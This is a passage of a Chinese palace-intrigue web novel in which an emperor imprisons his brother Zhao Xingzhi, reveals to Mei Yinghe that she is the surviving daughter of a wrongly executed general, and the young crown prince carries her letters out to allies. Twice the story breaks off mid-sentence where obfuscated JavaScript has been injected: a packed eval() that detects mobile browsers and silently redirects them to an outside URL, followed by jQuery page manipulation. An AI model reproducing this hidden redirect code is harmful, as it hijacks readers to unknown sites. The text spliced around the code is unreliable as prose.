片刻后,整齐划一的铁靴踏地的巨响打破宁静,佑安带着铁甲军赶到,将禁卫军围了个水泄不通。 “王爷属下来迟,请王爷责罚。”佑安命人一对一制衡住禁卫军,还余众多铁甲军的弓箭直指中央的赵怀风。 “看来你是要与朕撕破脸了。”赵怀风怒不可遏,“好啊,那便鱼死网破。” 他冷笑一声,阴鸷的声音传到殿内每个人的耳朵里,“禁卫军不许退。” 这是当真要真刀真枪拼死的姿态,挟制梅映禾的禁卫军统领的长刀架在了梅映禾的脖颈处。 看得赵行之心里一阵紧缩。 他不怕死,可是他怕小早受到伤害,哪怕一丁点儿的伤害,他都无法原谅自己。 “你,究竟要如何。”赵行之开口。 烛火映照得他的脸,一片惨白。 赵怀风冷笑:“拿你换她。” 又是一阵沉寂,雨夜中的安静让人毛骨悚然。 “当啷”一声响,赵行之的长剑坠落。 “王爷。”佑安急切地叫道。 赵行之一抬手,打断了佑安的话,“带走小早,不得有误。” “晋王赵行之谋逆罪押入大牢。”赵怀风一句话响彻云霄。 一道闪电骤然劈下,照得这世间明暗不辨。 90. 真相大白 “慢着。” 一声清脆带着悲切的声音传来,伴随着踉跄虚弱的脚步声,梅映禾走进了众人的视野中。 暴雨冲刷着天地,以?摧枯拉朽?之势席卷而来。 冷风撞得窗扇开合不止,吹得衣衫单薄的小娘子瑟瑟发抖。 被刀兵相见的阵势惊醒,梅映禾努力回忆着自己经历的一切。 究竟是如何倒下的她已经记不得了,但是那个不重要,重要的是自己上当了,并且是帝后的当。 可笑,真是可笑至极。 这世间最至高无上的一对夫妻竟是如此虚情假意,既然早已反目成仇却又狼狈为奸坑害她一个毫无招架之力的小女子。 一想到大隶正在被这样的人掌握着命脉,梅映禾只觉得心疼。 七哥曾经稍稍透露过自己的处境,那时的她尚不能理解,总觉得毕竟是亲兄弟一家人何至于此。 现在她明白了,眼看着赵行之被五花大绑押着屈膝,梅映禾只觉得心里堵得慌。 恨自己太单纯没有识别他们的奸计,也恨自己给七哥添了麻烦,若不是因为他,以赵行之的能耐怎可能被擒获,并且扣上这样一个莫须有的罪名。 谋逆,可是死罪。 他们是亲兄弟,他怎么忍心。 “小早。”赵行之看到了苏醒过来的梅映禾,喜极而泣。 硬朗的汉子,骄傲不可一世的小将军在那一刻变得格外软弱无力。 这也是梅映禾第一次看见赵行之流泪。 “我没事。”她努力扯着自己已经僵硬的唇角,笑了笑。 转身朝着同样狼狈的帝王走过去,至近前,俯身跪下行了个大礼,道:“一切皆由民女而起,与晋王殿下无关,陛下若要降罪就罚民女一人即可。” 孱弱娇柔的身躯跪倒在自己的脚边,此刻的梅映禾是清醒的也是柔软的,全然不似方才,即便昏迷混乱也倔强地死都不从命。 前后不过须臾,判若两人,只为了赵行之。 赵怀风垂眸看着这个让自己魂牵梦绕的女人,她正在以极低的姿态跪求自己,放了她心爱的男人。 帝王的自尊心在那一刻被践踏,赵怀风冷冷地抬眸看向不远处同样跪着的赵行之,问:“晋王犯的是谋逆大罪,罪无可赦。” “陛下……” “小早。”赵行之沙哑着嗓音叫她,“别,别求他。” 梅映禾回头看着赵行之,年轻俊朗的小王爷片刻间变成了阶下囚,身形却依然挺拔如竹。 他身后的墨色中风雨飘摇,冷风将大雨吹入殿内,打湿了他脚下的方寸土地。 他就跪在湿漉漉的地板上,泪水簌簌落下。 “七哥。”梅映禾朝她笑了笑,仍旧那样温柔明媚。 转过头,眼角通红眉头紧锁的梅映禾再次俯身磕头后,抬眸直视赵怀风,“晋王殿下一直深深寄情于大隶,忠诚于陛下,民女相信他绝不会谋反,恳请陛下彻查此事还晋王殿下清白。” 小娘子说完又接着磕头,直到磕得额角渗出血珠,在那瓷白的肌肤上越发显得刺目。 “小早,不要。”赵行之努力挣扎着,却被两旁的禁卫军死死牵制,如同一头困兽虽凶猛却无力。 赵怀风不语,静静地看着她磕头,一下一下磕在他脚边却如同撞在他心里。 “梅娘子拿什么求朕。” 帝王终于开口,梅映禾磕头的动作也终于顿住。 清澈明亮的星眸含着泪水,看过来时让赵怀风心里猛颤了一下。 “梅娘子拿什么同朕交换。” 他再次提醒,把话说得更加清楚。 梅映禾怔忡。 交换,是啊,在这样的人眼中什么都可以交换,什么都可以谈,只要手里拥有足够的筹码。 可是她有什么呢,她拿什么跟他交换呢。 是他想要的,也是她能给的…… 眼神从懵懂到诧异,还夹杂着一丝愤怒和委屈,那一刻,赵怀风知道梅映禾听懂了。 冷风吹乱了她的发丝,长发飘然而起,凌乱破碎感我见犹怜。 “小早,不要,不要做傻事,我不需要,我有办法。” 身后赵行之还在拼命阻止她,梅映禾怔愣愣地听着他的声音,脑子里一片混乱。 帝王的意思是让她用自己交换。 可是…… 大约是看到了她的犹豫,帝王下令:“更深雨大,梅娘子我们坐下来慢慢谈。来人,将谋逆之人带下去。” “慢着。” 梅映禾再一次阻止,缓缓起身,“请陛下容我同王爷说两句话。” 赵怀风不置可否,一双眼紧紧盯着二人。 梅映禾转身,面上的彷徨瞬间转变成温柔的笑容,朝着赵行之走去。 “小早,不要。” 他哭得无力又无助,大颗的泪珠砸落下来,如断了线的珠子。 “殿下。”梅映禾捧着赵行之的脸,“放心,我知道该如何做。” 她眼中含泪脸上却始终是笑着的。 “殿下好好的,别让我担心。”声音中带着哽咽,小手摩挲着他的面颊,帮他擦拭滚落的泪水。 赵行之说不出话来,只一味地点头。 “等我。”他的声音极小极轻,小到只有他们二人能够听到。 “嗯。”梅映禾点头,“我等你回来。” 禁卫军强行要将人押下去,才刚触及到他的温度便又要分离。 望着被押解冲入雨中的身影,梅映禾瘫倒在地,从未有过的绝望笼罩下来,让她没有丝毫力气站起身。 一直望着他被带走的身影消失在墨色的大雨中,一道闪电骤然亮起的光才将梅映禾的思绪慢慢收回。 她收拾自己的情绪,缓缓起身,整理了自己的长发和衣裙,转身朝着帝王的方向走来。 一步一步坚定又倔强。 大殿的门被关上,将浓墨的夜色和雨水隔绝在外,屋内的烛火重新点燃,金碧辉煌。 桌上不知何时被人撤换成了两杯茶盏和几道点心。 “请坐。”赵怀风将对面的位子让给梅映禾。 清澈的茶汤中飘着一叶卷曲的小叶,飘若浮云,无依无靠。看似自由自在却始终在杯盏中,永远都逃不出去。 正如眼下的她,被困于此,不得自由。 殿内燃着线香,浅淡的味道飘散开来,倒是让梅映禾的心绪平静了不少。 “朕为方才的事向梅娘子道歉。” 帝王率先开口,“但是朕对小娘子的心是真诚的。” 这得是多么大的恩赐啊,梅映禾苦笑,帝王的真诚就可以不顾及别人的感受为所欲为,她还得感恩戴德。 梅映禾垂眸,没有说话也没有喝那盏茶。 “这是龙井。”大约是察觉到了她的抵触和防范,赵怀风解释,“是朕命人准备的,干净上好的茶水,梅娘子不妨试一试。” 仍旧是沉默。 等了片刻,看梅映禾仍旧没有任何反应,赵怀风言归正传。 “那便谈谈你我的生意吧。” 他用了生意二字,想来这应当是梅映禾熟悉的词汇。 “朕可以放了云策。”帝王感慨,“毕竟他也是朕的弟弟,朕也于心不忍。” 梅映禾抬眸,似乎对这句话有所质疑。 “陛下的要求呢。” 小娘子不为所动,直奔主题。 “梅娘子是个聪明人,朕对你是真心实意,还请梅娘子慎重选择。”帝王的语气很是谦逊,但字字句句都透着无上的骄傲,“朕可以封梅娘子为贵妃,只在皇后一人之下,荣华富贵享用不尽,梅娘子若是还想做些什么喜欢的事,朕也不会过问。” “如果我不愿意呢。” 梅映禾面无表情地反问。 赵怀风被噎了一下,原以为她愿意留下来谈是有些许松动的态度,即便是为了旁的男人那又如何,短暂的时间内帝王已经想得很清楚了,她现在为了别人未必以后还能想起。 他身边的这么多女人,有哪一个是自始至终爱慕倾慕他一人的,还不是为了家族为了尊荣。 这于他而言都不算什么,别管她们先前藏着怎样的感情和心思,他都能叫她们永远藏于心底直到自己都忘记。 “那云策……”他威胁她。 梅映禾终于忍不住冷笑出声,“陛下同我一个弱质女流谈事情竟也能用这种下作的威逼手段。” 赵怀风手中把玩的杯盏停了下来,面色变得不悦起来。 “陛下还当他是你的亲弟弟吗,你就这样对待自己的亲弟弟,日后见了先帝后陛下该如何交代。” 梅映禾的话直击赵怀风最痛的隐秘之处,帝王的脸色瞬时变得阴鸷,声音低沉道:“他究竟跟你说了多少。” 窗外的风雨越发大了,闪电忽至,将赵怀风的面色照得更加狰狞可怖。 “陛下应当已经知晓了民女和晋王殿下的事情吧,那陛下也应当知道民女第一次见到殿下便是他遇刺,不小心逃到了我家的院子里。” 梅映禾双目澄澈,心里丝毫没有打怵惧怕的感觉,直勾勾盯着面前努力克制愤怒的男人。 “晋王殿下当时便是被陛下和皇后派来的死侍追杀吧。” “不是朕的人。”赵怀风急着撇清自己,“是皇后所为。” “那陛下就真的一点儿都不知情吗。”梅映禾步步紧逼,望着帝王不置可否的神情,进一步猜测,“或许,根本就是陛下故意透露给皇后娘娘的消息,因为你知道娘娘早就因为小殿下的储君而敌视每一个威胁皇位之人,所以你只要看似无意地轻飘飘地说一句,娘娘必定会动手,这算不算借刀杀人呢。” 室内静默,落针可闻。 赵怀风没有想到一个小女子竟能猜猜至这般地步,还是…… “是云策告诉你的?” 梅映禾摇头,“殿下自始至终都不愿以这样的恶意去揣测他最敬爱的兄嫂。他曾与我说过,陛下和娘娘曾是他最亲近的人,儿时的骑射功夫都是陛下亲自教的,还日日带着他上书房跟着太傅念书,替他承担因顽皮犯下的过错。” 梅映禾抬头,双目中擎满泪水,“在赵行之心里,陛下是他最信任最亲近之人,为此他从未涉及朝堂政事,也不与朝臣打交道只为让陛下相信他,从未有过任何非分之想。” 可是,即便如此,他们仍旧不会放过他,想要逼他走上绝路。 “你知道什么。” 帝王震怒,一把扫掉了桌上的杯盏,茶汤四溅,弄湿了泛着莹莹珠光的桌布。 碎瓷飞溅,就在梅映禾的脚边绽放后变得七零八落。 即便是这样的雷霆之怒,梅映禾仍旧不动声色,甚至连眼皮都未曾眨一下。 “好胆识。”赵怀风冷笑,“赵行之或许过去不曾有不臣之心,可是朝中支持他怂恿他坐上大位的大有人在,朕不能看着他们内斗,更不允许大隶的朝局不稳。” 现在不曾有,未必在多年后的怂恿之下不会有。或许在他的幼子尚未长成时,他起了不该有的心思,帝王不会允许这样的祸根埋在身边。 卧榻之侧岂容他人安睡。 “那陛下就要杀掉自己的亲弟弟吗。”梅映禾反问,泪水再次滑过脸庞。 “朕说过,朕没有杀他,更不会让他死。”帝王拍案而起,“皇后是皇后,朕是朕,朕不会让云策出事,可是为什么他偏偏信不过朕。” 要将自己的生死性命交到他的手上吗,直到他们夫妻博弈到最后一刻,那若是输了呢。 梅映禾冷笑,觉得无甚话说,根本说不通。 这一刻,她突然理解了赵行之的难处,面对这样的家人,自己性命难保,可他仍旧在纠结,不愿意对自己的皇兄产生恶意。 难怪他有厌食症,若是换成旁人,恐怕早都活不下去了。 梅映禾理了理自己的衣衫,既然说不通那便不说了,听之任之吧。 望着小娘子绝望又鄙视的眼神,赵怀风冷笑一声,攥拳砸向桌面,俯身问道:“你如此替他考虑,难道他也是这般真心对你的吗。” 梅映禾疑惑地望着他,不明所以。 这时门外响起李公公的颤声,“陛下,禁卫军已将许且许大人控制住了,听候陛下发落。” 梅映禾骤然起身,却被帝王按住了双肩。 “押入大牢,好酒好饭伺候着。” “是。”李公公退下。 窸窸窣窣的脚步声远去,梅映禾怒道:“陛下究竟想干什么,斩草除根吗,这与我义父何干。” 梅映禾气得发抖,她曾想过今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991397|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日的种种困境,也已经做好了最坏的打算,即便是身死她也无所畏惧,可是他们竟然对她的家人下手。 “不止许且,还有你那身怀六甲的嫂嫂。” “你……” 小娘子脸色苍白,眼看着便要站不住了,赵怀风幽幽道:“你先莫急,听朕给你讲一个故事。” 空旷清冷的大殿内,帝王沉厚的声音响起: “十七年前的大隶内忧外患水深火热,尤其是外族入侵,朝中一连折损几员大将无人可用。先帝愁眉不展茶饭不思,就在无计可施的时候,镇守北疆的向立岩大将军父子终于得胜回京,这也是当时大隶唯一胜利的一场战役,先帝即刻派遣向家父子马不停蹄奔赴前线作战,连京城都没回。” “向将军是先帝亲封的镇国大将军,战功赫赫名震四方,两个儿子虽只有十三四岁亦是不遑多让。云岗战役时父子三人上阵杀敌,英勇拼杀十日抗击外敌,拼尽最后一口气保住了云岗,却被诬陷通敌谋逆全族被杀。那时候他们的小女儿小早才刚满月。” “向夫人书香门第出身,是大隶的第一美人,她的贴身婢女珍娘嫁给了向立岩的副将梅展翔,并生下了一个儿子梅九畴,梅九畴的名字是向夫人起的,意指丰衣足食、硕果累累、长命富贵。” 帝王浅笑,看着怔愣地梅映禾提醒,“这样的名字也绝非乡村人家能想得出来的,是不是。” 他的话在头顶盘旋,梅映禾只觉得脑袋里嗡嗡直响。 “家破人亡之时,向夫人趁乱将小女儿小早托付给了梅家,成了梅家宠着长大的小女儿梅映禾。后来,梅家夫妻被人发现真实身份,夫妻二人惨死,留下这对可怜的兄妹。” “这对兄妹不知道这一切,只知道他们的父亲一身力气靠着做力气活儿赚钱养家,母亲珍娘温柔善良,一家人都十分疼爱这个妹妹。” 帝王停住了话也顿住了脚步,站在梅映禾身后双手扶在她的肩上,俯身低声在她耳边喃喃道:“你的真正身份应当是向立岩的小女儿,名叫向云早,字生烟。”赵怀风起身,回忆道:“这小字还是先帝所赐,取自‘在处烟生早晚生,自疑呼吸气皆灵’。” 屋内烛火跃动,灯芯虚弱地蜷缩,正如现在的小早。 见她面色发白不语,赵怀风继续道:“在许且家中搜到了向立岩夫妻的排位,你,应当也是见过的吧。这就是为何堂堂一朝宰相要收你为义女的原因。” “因为他们曾是挚友。” 说到排位,梅映禾清晰地记得义父曾带着她给那对夫妻上香磕头,还见过那对夫妻的画像,难怪觉得眼熟,原来…… 还有义父和七哥平日里总会说起一些莫名其妙的奇怪的话,难道七哥也是知道这些的。 他知道吗。 梅映禾想起了上次去给阿爹阿娘上香,赵行之的种种表现和告慰二老的话,他说:“感谢二位对小早的苦心,对得起你们的责任了。” 彼时她无暇细想,如今再看果真如此吗。 “现在,你会觉得云策会不知道你的身份吗。”赵怀风的声音再次响起,“所以……” “所以陛下想说什么。”梅映禾站起身,面对比她高出许多的帝王毫不逃避直视道:“是想告诉我晋王待我乃蓄谋已久,还是另有所图。” 赵怀风显然没有想到她会是这种反应,转过身去不再看她,“至少他早就知晓这一切却从未告诉过你,难道不是吗。” 是的呀,七哥早就知道了,不然不会和义父一起商议那些悄悄话。可是他们为什么不告诉她。 “照陛下的意思。”梅映禾似乎想通了其中的关窍,“我的亲生父母是含冤而死?” “是。”赵怀风毫不回避,“是先帝听信小人谗言,说向立岩投敌叛国里应外合,这才杀了你的全家,当时你的两个哥哥不过十来岁的年纪,还未长成。” 君要臣死臣不得不死,这便是这个时代的特点,梅映禾忍着心里的剧痛抬头看向窗外黑洞洞无尽的大雨。 一家忠良只为几句捕风捉影的话,只为帝王的疑心和不安,便惨遭灭门。 鸟尽弓藏,原来她竟是那唯一幸存的人。 “所以,你并不知道为何云策并未将这一切告知于你。”赵怀风在她身边踱步,“但,他是先帝的儿子。” 是啊,七哥是先帝的儿子,先帝杀了她的全家。 他是因为这些才不敢告诉她实情的吗,怕她生气,怕她再也不理他了。 他怎么这么傻…… “所以你们没有可能的。”赵怀风道,“你们之间的鸿沟不可逾越。” 是啊,七哥恐怕也是这么想的吧。 难怪那一阵子他怎么都不理她,逃避她,疏远她,原来竟是因为这个吗。 静谧的大殿内,小娘子苍白无血色的面颊上还挂着晶莹剔透的泪珠,却似笑非笑地含着泪自言自语,“你怎么这么傻,你为什么不跟我说。” 听不真切她究竟在说些什么,帝王的耐心已到达极致,透过窗户望着急匆匆而来的皇后的身影,赵怀风最后一次问:“朕还是那句话,许你为妃,只要你愿意。” 梅映禾还未作答,他一抬手打断了她的话,“许且,还你那嫂嫂都在朕的手里,还望梅娘子,不,向娘子你慎重考虑。” 大殿的门被推开,冷风骤然闯入,伴随而来的还有皇后急匆匆的步伐。 帝王看了皇后一眼,“交给皇后处置了,莫要叫朕失望啊。” 杨玉芳看了一眼一言不发呆若木鸡的梅映禾,朝帝王行了个蹲礼,目送他远去。 冷风吹干了面颊上的泪,脸上觉得又痒又疼。 皇后命人取来热巾帕递到她手上,“你是个聪明人,应当知道胳膊拧不过大腿的道理。” “可我也知道邪不压正的道理。”梅映禾甩开巾帕和她的手,“皇后娘娘如此行事,当真觉得小殿下会感激你吗,难道孩子长大了知道这些龌龊勾当,不会嫌弃怪罪娘娘吗。” “那也是我做娘的一片心。”皇后陡然提高了声调,“他怪不怪与我无关,我做娘的只想让他顺利安稳地坐上本该属于他的位子,我便是死安心了。” 窗外冷风呼啸,梅映禾被带下去软禁的时候,一直趴在窗户上的一双小眼睛才悄悄隐没于黑暗之中。 就要天亮了,黎明总会来的。 91. 皇位诏书 梅映禾仍旧被软禁在芳华阁,翡翠琉璃轮流看护照顾,一应饮食起居雍容华贵。 望着那些精致美味的食物,梅映禾食不下咽。 她想要尽快从这里逃离出去,即便自己出不去也希望可以帮助赵行之逃脱禁锢。 可是她却不能答应赵怀风的要求,那是原则问题,她宁死也不会妥协。 究竟该如何办到呢。 月色如水,下了两日的雨水终于在第三日停住了,从二楼的阁窗望出去,硕大的枝叶被雨水冲刷得格外干净澄澈,石板地仿佛被油浸过,泛着干净滋润的光泽。 虽是秋日,凉风习习,景致却是极好的。 她便这样呆呆地在窗前枯坐了三日,除去喝了几口清粥之外,那些送进来的山珍海味一概未动。 只要饿不死就成了,梅映禾想,用手肘撑着脑袋看向浓稠的夜色,大约是快要到月中了,天上的月亮好似银盘一般又大又圆。 “今日是初几。”梅映禾问。 这个时辰,翡翠琉璃都已经去歇息了,每日会留一个小宫娥侍奉她洗漱帮她上夜。 “回娘子的话,今日刚好十五。”小宫娥年纪很小,看上去约莫十二三的样子。 梅映禾转过头看着她,“你年纪这般小,不能同家人团聚,不想家吗。” 小宫娥笑说:“回娘子的话,奴婢没有家,从小就生在宫里头,没见过爹娘,自生下来便是做奴婢的命。” 被这番话震惊的梅映禾张了张嘴,不知该说什么,小小年纪倒是活得无知又通透。 万籁俱寂,月色皎皎。 实在有些晚了,梅映禾便吩咐小宫娥:“去睡吧,我这里不习惯有人伺候。” 小宫娥想了想,笑说:“那奴婢便在楼下听候娘子吩咐。” 看着她远去的身影,瘦小孱弱还未长成却已经认清了自己这一生的宿命,多可悲的封建教化,可气又可悲。 “阿姐。” 一个弱弱的声音响起,梅映禾四下张望,找寻发声的来源。 “阿姐。”一片枝叶晃动,梅映禾顺着那树叶看过去,一个约五六岁的小娃,年纪虽小却生得白净可爱,圆圆的脸圆圆的眼睛,一袭劲秀四爪龙袍,金冠束发,金靴蹬地。 “太子殿下。”虽未曾谋面,梅映禾还是一眼就认出了赵頻。 小娃显然很兴奋被认出来,原本略有些紧张的小脸上露出灿烂的笑容,“孤这就上去。” 小小的年纪已经对这样的尊称习以为常,梅映禾知道以他的身份登上这座阁楼见她易如反掌。 这便是特权,身份让他拥有特权。 果然,不多时,只见赵頻一人上来,身侧跟随的小太监和侍奉梅映禾的小宫娥都没有跟着。 小娃虽然年纪小却极稳重端方,不似寻常人家的孩子那般兴冲冲地脚步,但面颊上却多了一抹兴奋天真的笑容。 “殿下是特意过来寻我的。”梅映禾请他入座,给他倒了一盏蜜水。 赵頻点头,“孤,我是来看看阿姐的,我叫你阿姐你会答应的吧。” “民女担不起。” “不,别这样跟我说话。”赵頻灿烂的笑容收敛,眉头锁紧郑重道:“这个宫里每个人都对我毕恭毕敬,没有人跟我说一句真心话,我知道阿姐会跟我说真心话的,就像……” 他似乎犹豫了一下,抿唇开口道:“就像小王叔那样。” 他口中的小王叔便是赵行之。 “可是我许久未见小王叔了,我知道他被父皇关起来了。”赵頻的声音变得凄凄哀哀,“他们曾是最要好的兄弟,小王叔最是疼我,可是现在……” 窗外月色洒进窗内,将小殿下的面容照得莹润饱满,却隐隐透着一股淡淡的惆怅。 梅映禾不动声色地听着,尚未明白小殿下漏夜前来究竟所为何事。 “我想帮小王叔。”赵頻终于说出自己的想法,看着梅映禾的眼神格外真诚,“我也想帮你。” 没想到小娃竟是这种想法,梅映禾很吃惊,可是他还太小了。 “你们是一起的对吗。” 小孩子不知晓该如何称呼他们之间的关系,可是敏性如斯,赵頻还是察觉到了梅映禾同赵行之关系的不一般。 “若是寻常。”赵頻似乎怕她听不懂,解释道:“我应当叫你小王婶。” 梅映禾笑了,面颊上泛起一朵红云。 见她笑得这般羞赧,小娃似乎很得意自己的措辞正确,脸上又漾起骄傲纯真的笑容。 “民女也想救晋王殿下,可是民女现在没有办法,也不愿将殿下牵扯进来。” “你是嫌我太小吗。”赵頻有些着急,小脸开始发红,“我有办法,我可以帮你带消息出去。” 似乎怕她不相信,顿了顿他又补充,“除了我,你再找不到能帮你的人了。” “殿下不怕陛下和娘娘怪罪吗。”梅映禾问。 赵頻望向天边的月亮,摇头:“我不怕,父皇最多责骂我一顿,罚抄经书或功课,母后……” 说起自己的母亲,小娃的脸上扬起自信的笑容,“母后最多说我两句,不会真的责罚我的。” 他的母后最是心疼他,这是孩子的天性,天生懂得拿捏大人的情感得到自己想要的。 “可是那样的话,娘娘会伤心的。” 梅映禾想起杨玉芳说过的话,这对母子的脾性竟是如此不同,母亲处心积虑孩子心无城府。 “我知晓母后对我的期望,这些年她一直在为太子之位奔波,不惜得罪父皇。”赵頻谈起这些似乎并不陌生,“那是母后对我的一片心,我都懂,可是我想凭着自己的能力争取。” 小娃扬起小脸看着梅映禾,“母后是不相信我有那样的能力吗。” “娘娘是怕等不到那一日便有节外生枝。”梅映禾解释,“她或许只是太心急了。” 赵頻想了想,点头,“父皇对我的期望更高,他更希望我能有所建树,可是我还没学会没学好。” “殿下还小。” 赵頻摇头,“不小了,太傅说小王叔像我这般年纪的时候早已通晓古今博览群书,竟是连骑射也不曾落下。” 原来他是那样的优秀,难怪要被人忌惮。 “让我帮你吧。”小娃再次恳求,“父皇母后做错的事情,由我来弥补,或许……” 小娃的声音变得低沉悲凉起来,“或许小王叔想起这些还不会太难过,至少有我在。” 至少还有一个家人是顾念他,懂他的。 “民女替晋王殿下谢过太子殿下。”梅映禾恭恭敬敬地行了个大礼。 赵頻没有阻止她,点头道:“要如何做,阿姐尽管说来。” 梅映禾想了想决定写两封信托赵頻带出去,并且叮嘱他千万保护好自己。 “先去找文明修文大人,这个与殿下而言易如反掌,然后把信悄悄交给他便可。” 赵頻点头,“文大人我每日都能见到。” 作为储君,赵頻早已跟随帝王见臣子共议政事。 “这第二封信请文大人转交梅九筹。” 梅映禾笃定关于那夜发生的夫妻离心、兄弟反目等事,碍于皇家的脸面赵怀风也绝对不会允许漏出去一星半点,所以,赵行之被关押也好,许且被扣留自己被软禁,都不会动用军队,所以哥哥手里的军队或许可以救赵行之一命。 两封信被交到赵頻手上,梅映禾的泪水在眼眶里打转。 赵頻伸出小手帮她抹掉那一滴不小心滑落的泪珠,笑着安慰她:“小王婶放心吧,孤是个可以托付之人,定能让小王叔平安无事。” 君子一诺千金,梅映禾叩谢大恩。 * 果然如梅映禾所料,皇家的丑事被太子册封典礼遮盖得密不透风。 典仪盛大且隆重,大隶许久没有喜事,满朝上下都将此次盛典当成过节。小太子人品贵重敦厚勤奋克己,是毫无争议的太子人选,大家纷纷道贺。 赵頻端坐在上,接受朝臣们的贺礼,小小的孩子脸上挂着不符合年龄的成熟的微笑,俨然已经十分适应这样的场面。 一旁的皇后杨玉芳看着自己的儿子心花怒放,越发觉得自己赌对了。 失去了夫妻感情又能如何,男人的感情从来都是最不可靠的东西,更何况是高高在上的帝王。 与其指望他父皇的感情,不如母子自己拼一把。 “頻儿已经长大了。”皇后悄声感慨。 身边的嬷嬷也道:“殿下必定是懂得娘娘良苦用心的。” 朝臣实在太多,一个一个近前恭贺再送上贺礼,作为储君,赵頻同每一个人都十分认真地聊上两句,这些都在情理之中。 “难得他做得这般认真。”皇后揉了揉发酸的腰腿,“本宫是真的累了。” “奴婢扶娘娘回去歇息吧,小殿下如今已经能够应付自如了。”嬷嬷劝道。 皇后点了点头,再看向对面的皇座,陛下早就已经离去了。 “母后若是乏累了便去歇息吧,儿臣忙完了这里再去给母后请安。”赵頻也适时地发现了皇后的倦容。 恭送母后离去,小小的太子殿下长长出了一口气,看了一眼队伍里即将见面的文明修,回到座位上坐好。 眼神更加明亮,小脸上带着些许得意的神情,赵頻觉得自己在做一件很厉害的事情。 终于轮到文明修了,成了亲的文明修更加老成持重了,全程低着头向太子殿下道贺送礼,心里烦忧着许大人的安危和小早、晋王殿下的状况,一张脸一直肃着竟未曾察觉到小殿下三番五次对他的暗示。 自从几日前不见了许大人和赵行之文明修便猜测出事了,可是无论他怎么打听都无法知道确切的消息,小梅也说小早是被皇后娘娘留在宫中,可是这些事凑在一起就是让他寝食难安。 “文大人。” 实在等到所有的仪程走完,眼看着文明修就要退下的时候,赵頻等不及开口。 文明修抬头回神,“殿下。” 等待着储君的吩咐,可是上坐的小殿下却又一言不发了。 赵頻在发愁该如何说出口,满朝文武众目睽睽。 “文大人。”赵頻踌躇道,“孤有道难题想当面请教文大人。” “臣洗耳恭听。”文明修恭敬从命。 “你近前些。”赵頻无奈只得招呼文明修走近一些。 直到高大的身影完全挡住了身后人的目光,赵頻才从袖中掏出两封信悄悄塞到他手里,“文大人回去再看,这是……” 斟酌了一下该如何称呼梅映禾,赵頻道:“是我未来的小王婶托孤悄悄带给你的。” 谁?文明修愣了一下,恍惚了好一会儿才反应过来他说的应当是梅映禾。 后半程仪程文明修心不在焉,好容易熬到了结束只觉得头脑发懵昏昏沉沉,怀里的两封信沉甸甸的,手心里全都是汗。 回到府中夫人魏默迎出来,二人感情笃深,魏默一眼便看出文明修的不妥。 “怎么了。”魏默摸了摸文明修的额头,“夫君是哪里不舒服吗。” 文明修摇头,这才从怀中掏出两封信。 一封是写给他的,一封是写给梅九筹的。 “要悄悄托太子殿下给郎君,说明……”魏默不敢往下说了。 “说明小早身陷囹圄,且晋王殿下和许大人恐怕也……” 文明修也说不下去了,二人迫不及待地拆开信。 夫妻二人看完不觉倒吸一口凉气,魏默赶紧起身去换衣裳。 “夫君你快去通知九郎,将信带给他,不知小早写了什么给他哥哥,但是事不宜迟。” “那夫人这是……”文明修看着急匆匆更衣要出门的魏默问。 “我去找小梅,将她接到我们府中照顾。”魏默想了想道,“即便是真的发生什么事,也不能让她们母子出事,这样九郎和小早也能更安心些。” 文明修倏然起身,朝着自己的娘子深深一拜,“多谢夫人。” 魏默感动,扶起他的手臂,“你我夫妻本是一体,夫君不必如此客气。” 二人就此告别,分头行动。 文明修去找梅九筹的时候,演武场上已经点兵集结完毕。 佑安还在等待王爷的命令,兵符被握在梅九筹手里,他已经迫不及待了。 “现在再不出发就怕已经晚了。”梅九筹盔甲马匹齐备,整装待发,“这兵符在我手里,我说了算。” “可是王爷还没有命令,万一我们提前行动,只怕会给王爷招来杀身之祸。”佑安仍旧踌躇不决。 “这都几日了,还在等,要等到什么时候。”梅九筹说着就要翻身上马,“那你说现在怎么办,去了你怕给王爷招祸,可是如果不去万一……” 二人也讨论不出什么结果,一时陷入僵局。 文明修气喘吁吁赶到,将情况大致说了一下,梅九筹迫不及待地打开信,越看越生气,脸色发红双手颤抖。 “奶奶的,老子就说早就该行动,现在王爷和义父都被押入大牢,小早也被软禁在芳华阁,再不去只怕要给他们收尸了。” 佑安也看了信,他认得小早的字迹,再不敢耽搁,二人当即集结铁甲军整装待发。 “众位将士,咱们都是晋王殿下带出来的兵,王爷平日对咱们可不薄,如今王爷有难被人诬陷谋反,咱们不可坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“欲加之罪何患无辞,本王从无反心,今日之行亦是为了自保,众将士听令。” “有。”排山倒海的应和声振聋发聩。 “为了我们的清白,为了正义,随本王杀进宫城。” “冲啊,杀啊……” 急红了眼的赵行之带着梅九筹和佑安冲进了皇城,梅九筹和佑安负责护卫,赵行之一马当先率先冲入了大殿。 这个大隶最至高无上的存在,平日里都要有小太监通禀的地方,如今赵信之手持兵器直直闯入。 大殿内方才就已经听到了动静,仍旧伏案批奏折的赵怀风闻之一愣,随后苦笑,“该来的总会来,朕哪里都不去,就在这里等着他。” 屏退左右,大殿内回荡着赵行之沉重的铁靴踏地的脚步声。 烛灯后,赵怀风缓缓抬头望着自己的弟弟。 赵行之一身甲胄兵器握在手里,面色肃然,“梅映禾在何处。” 赵怀风望着他,觉得眼前的人熟悉又陌生。 容貌声音都没有变,可是那周身的肃杀之气是他陌生的。 “芳华阁,你应该已经知道了。”赵怀风望着赵行之,“怎么不去找她。” 赵行之收起长剑,利剑入鞘的声音划破宁静的夜空。 脚步移动,一步一步踏在赵怀风心里。 “我同皇兄自小感情深厚,即便皇兄坐上大位,我依旧谨言慎行甚至从不参与朝政不同朝臣结交。”赵行之一字一句看着赵怀风问,“我就想知道为何皇兄视我为洪水猛兽,这般不信任我。” 